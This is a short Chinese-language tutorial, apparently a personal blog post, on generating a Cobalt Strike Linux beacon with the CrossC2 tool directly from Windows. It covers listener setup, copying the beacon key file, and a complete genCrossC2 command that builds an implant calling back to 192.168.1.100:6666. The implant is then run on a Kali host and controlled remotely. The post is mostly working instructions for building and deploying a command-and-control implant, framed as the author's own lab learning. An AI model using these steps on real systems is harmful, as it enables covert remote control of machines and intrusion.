查阅了很多教程都没有发现纯Windows下面直接上线LINUX主机的方法,都是完全拷贝到Linux上面命令生成,这里记录一下本人的学习历程,大佬请飘过。
首先下载CrossC2,项目地址:GitHub - gloxec/CrossC2: generate CobaltStrike's cross-platform payload
在9天前更新过(今天2021年11月11日),下载后直接加载CS,成功后会有一个标题栏:
然后Windows下面启用CS:
创建监听器,这里的第一个坑来了:如果用默认443会创建失败,提示JAVA VM占用,用4433也会失败,结果我这里用了6666成功了:
然后就是生成客户端了,好多都是在Linux下面生成的,现在可以在Windows下面直接生成,GitHub上面下载Windows的程序:
然后解压缩会有三个文件:
下面就是生成客户端文件了,把CS根路径下面的: .cobaltstrike.beacon_keys文件复制到与genCrossC2.win.exe路径下面:
在CMD环境中输入命令:
genCrossC2.Win 192.168.1.100 6666 null null Linux x64 c2test
其中IP地址是CS监听器的地址,端口为监听器的端口,X64为Linux版本,c2test为要生成文件的名字,回车就能成功生成:
上传到Linux中运行,这里使用的是KALI:
在CS中看到Linux上线:
右键可以进行相关操作,这里为文件查看:
这里写这边文章是看了很多文章都是在Linux下面操作并没有在Windows下面成功复现的文章,也欢迎各位大佬一起交流学习。